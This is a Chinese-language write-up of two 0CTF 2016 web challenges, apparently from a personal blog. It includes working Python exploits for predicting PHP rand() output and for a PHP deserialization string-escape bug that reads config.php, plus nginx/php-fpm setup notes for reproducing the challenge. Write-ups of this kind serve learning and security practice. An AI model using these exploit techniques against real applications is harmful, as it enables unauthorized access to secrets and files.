0CTF总结

这次的0CTF我们投机取巧派被学院派教做人。。然后发现自己,不会js,不会php。不会python。Web题看了两题,都差一点出来。。

rand_2

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
include('config.php');
session_start();
if($_SESSION['time'] && time() - $_SESSION['time'] > 60) {
session_destroy();
die('timeout');
} else {
$_SESSION['time'] = time();
}

echo rand();

if (isset($_GET['go'])) {
$_SESSION['rand'] = array();
$i = 5;
$d = '';
while($i--){
$r = (string)rand();
$_SESSION['rand'][] = $r;
$d .= $r;
}
echo md5($d);
} else if (isset($_GET['check'])) {
if ($_GET['check'] === $_SESSION['rand']) {
echo $flag;
} else {
echo 'die';
session_destroy();
}
} else {
show_source(__FILE__);
}
?>

这题看了国外的论文后知道了通过rand()随机出来的伪随机数有一个规律:r[i] = r[i-3] + r[i-31]

这里有一个需要注意的地方,题目服务器是ubuntu

1
2
php> echo getrandmax() 
2147483647

linux服务器随机数的范围是0-2147483647, 所以 r[i] = (r[i-3] + r[i-31]) % 2147483648
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests
import re
import hashlib

class POC:
def __init__(self):
self.url = "http://202.120.7.202:8888"
self.url2 = "http://202.120.7.202:8888/?go="
self.url3 = "http://202.120.7.202:8888/?"
self.s = requests.session()

def test(self):
ran_num = []
for i in range(49):
req = self.s.get(self.url)
cont = req.content
try:
num = re.findall(r'(.+)<code>',cont)[0]
except:
print i
exit(-1)
ran_num(int(num))

req = self.s.get(self.url2)
cont = req.content
ran_num.append(int(cont[1:-32]))
md5_num = cont[-32:]

go_num = []
for x in range(5):
y = 50 + x
tem_num1 = (ran_num[y-3] + ran_num[y-31]) % 2147483648
ran_num.append(tem_num1)
go_num.append(str(tem_num1))

now_num = "".join(go_num)
now_md5 = hashlib.md5(now_num).hexdigest()
if md5_num == now_md5:
print "yes"
self.num5 = self.go_num
self.suc()
break
def suc(self):
for x in self.num5:
self.url3 += "check[]="+str(x) + "&"
req = self.s.get(self.url3)
print req.content

if __name__ == '__main__':
t = POC()
t.test()

然后我没做出来的问题在于。。。。我不会python..
error code:

1
2
ran_num.append(int(cont[1:-33]))
md5_num = cont[-33:-1]

然后这题发现没法复现,本地或是自己的服务器中,每次访问rand的seed都会变,就算keep-alive也是。。不知道题目服务器做了啥设置。。。

piapiapia

这题是代码审计,让我知道了原来我不会php
大致看了一遍可以看出一处问题:

1
2
3
// update.php
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

如果POST或者GET传参除了字符串还可以传递数组,所以如果nickname为数组的话,则可绕过该判断。update.php中之后是将输入序列化,在profile.php中反序列化。所以猜测是序列化这有洞,可是google搜了一通之后。得到的都是Joomla的反序列化截断漏洞。并没有得到啥有用的信息。。

然后又有一发现

1
2
3
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);

如果输入中有where则会变成hacker,多了一个字符,反序列化的时候会出错。。当时并没有想出利用方法。。之后看了wp之后才知道。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests
import re
import base64

class POC:
def __init__(self):
self.data = {"username": "ddog1", "password": "ddog1"}
self.reg()
self.login()
self.fuck()
self.get_flag()

def reg(self):
url = "http://xxx/register.php"
req = requests.post(url, data=self.data)
if req.status_code != 200:
print req.content
exit(-1)

def login(self):
url = "http://xxx:8085/index.php"
req = requests.post(url, data=self.data)
if not re.search("UPDATE|Profile",req.content):
print req.content
print "login fail!"
exit(-1)
cookie = req.request.headers['Cookie']
cookie = cookie.split("=")
self.cookie = {cookie[0]: cookie[1]}

def fuck(self):
url = "http://xxx:8085/update.php"
payload = '";}s:5:"photo";s:10:"config.php";};'
payload = "where" * len(payload) + payload
f = open('/tmp/a.jpg',"w")
f.write("fffff"*1024)
f.close()
files = {"photo": ("fff.jpg", open("/tmp/a.jpg","rb"))}
data = {"phone": "1"*11, "email": "fffff@qq.com", "nickname[]": payload}
req = requests.post(url, data=data, cookies=self.cookie, files=files)
if not re.search("Success", req.content):
print req.content
exit(-1)

def get_flag(self):
url = "http://xxx:8085/profile.php"
req = requests.get(url, cookies=self.cookie)
try:
base = re.findall('base64,(.+?)"',req.content)[0]
except:
print req.content
print "crack fail!"
exit(-1)
print "crack success!"
print "=========================="
print base64.b64decode(base)
print "=========================="


if __name__ == '__main__':
POC()

这题没做出来就是对序列化的理解不清楚。比如一个序列化字符串

1
a:1:{i:0;s:5:"aaaaa";}

第一点,反序列化时,当反序列化完一个序列后,就会停止,比如

1
a:1:{i:0;s:5:"aaaaa";}dfklasfjkal

上面的字符串进行反序列化和第一个字符串反序列化是一样的。。。

第二点,序列化字符串里没有转义字符。。所以说有了可以闭合序列化的可能,关键在于长度,序列一共由三部分组成,数据类型:长度:数据,看下面的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
var_dump(unserialize('a:1:{i:0;s:5:"aa";}";}'));
// out
// array(1) {
// [0]=>
// string(5) "aa\";}"
// }
?>
then
<?php
var_dump(unserialize('a:1:{i:0;s:2:"aa";}";}'));
// out
// array(1) {
// [0]=>
// string(2) "aa"
// }
?>

这就是这题的重点了,但是怎么控制长度呢?就是通过 where -> hacker 然后字符串逃逸。
所以得出payload:

1
2
payload = '";}s:5:"photo";s:10:"config.php";};'
payload = "where" * len(payload) + payload

然后是复现这题,在复现的过程中随便学习了下运维。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# 新建组
$ groupadd ctf5
# 新建一个专门用于php-fpm的用户
$ useradd ctf5 -M -s /sbin/nologin -g ctf5
# 创建pid, sock文件
$ touch /usr/local/php/var/run/php-fpm-ctf5.pid
$ touch /tmp/php-cgi-ctf5.sock
# sock是被nginx使用所以需要把所属用户和用户组改成和nginx一样
$ chown www:www /tmp/php-cgi-ctf5.sock
# 修改nginx虚拟主机文件
$ vim /usr/local/nginx/conf/vhost/ctf5.conf
fastcgi_pass unix:/tmp/php-cgi-ctf5.sock; #修改成这样
# 创建php-fpm配置文件
$ cp /usr/local/php/etc/php-fpm.conf /usr/local/php/etc/php-fpm-ctf5.conf
$ vim /usr/local/php/etc/php-fpm-ctf5.conf
[global]
pid = /usr/local/php/var/run/php-fpm-ctf5.pid
error_log = /usr/local/php/var/log/php-fpm-ctf5.log
log_level = notice

[ctf5]
listen = /tmp/php-cgi-ctf5.sock
listen.backlog = -1
listen.allowed_clients = 127.0.0.1
listen.owner = ctf5
listen.group = ctf5
listen.mode = 0666
user = ctf5
group = ctf5
pm = dynamic
pm.max_children = 10
pm.start_servers = 1
pm.min_spare_servers = 1
pm.max_spare_servers = 6
request_terminate_timeout = 100
request_slowlog_timeout = 0
slowlog = var/log/slow-ctf5.log

# 修改/etc/init.d/php-fpm
vhost=$2
if [ -n "$vhost" ];then
vhost=-$vhost
fi
php_fpm_CONF=${prefix}/etc/php-fpm$vhost.conf
php_fpm_PID=${prefix}/var/run/php-fpm$vhost.pid

restart)
$0 stop $2
$0 start $2

# 修改文件夹权限
$ chown ctf5:www -R /home/wwwroot/ctf5
# 最后记得重启
$ sudo /etc/init.d/nginx restart
$ sudo /etc/init.d/php-fpm start ctf5
Author

Hcamael

Posted on

2016-03-14

Updated on

2017-08-08

Licensed under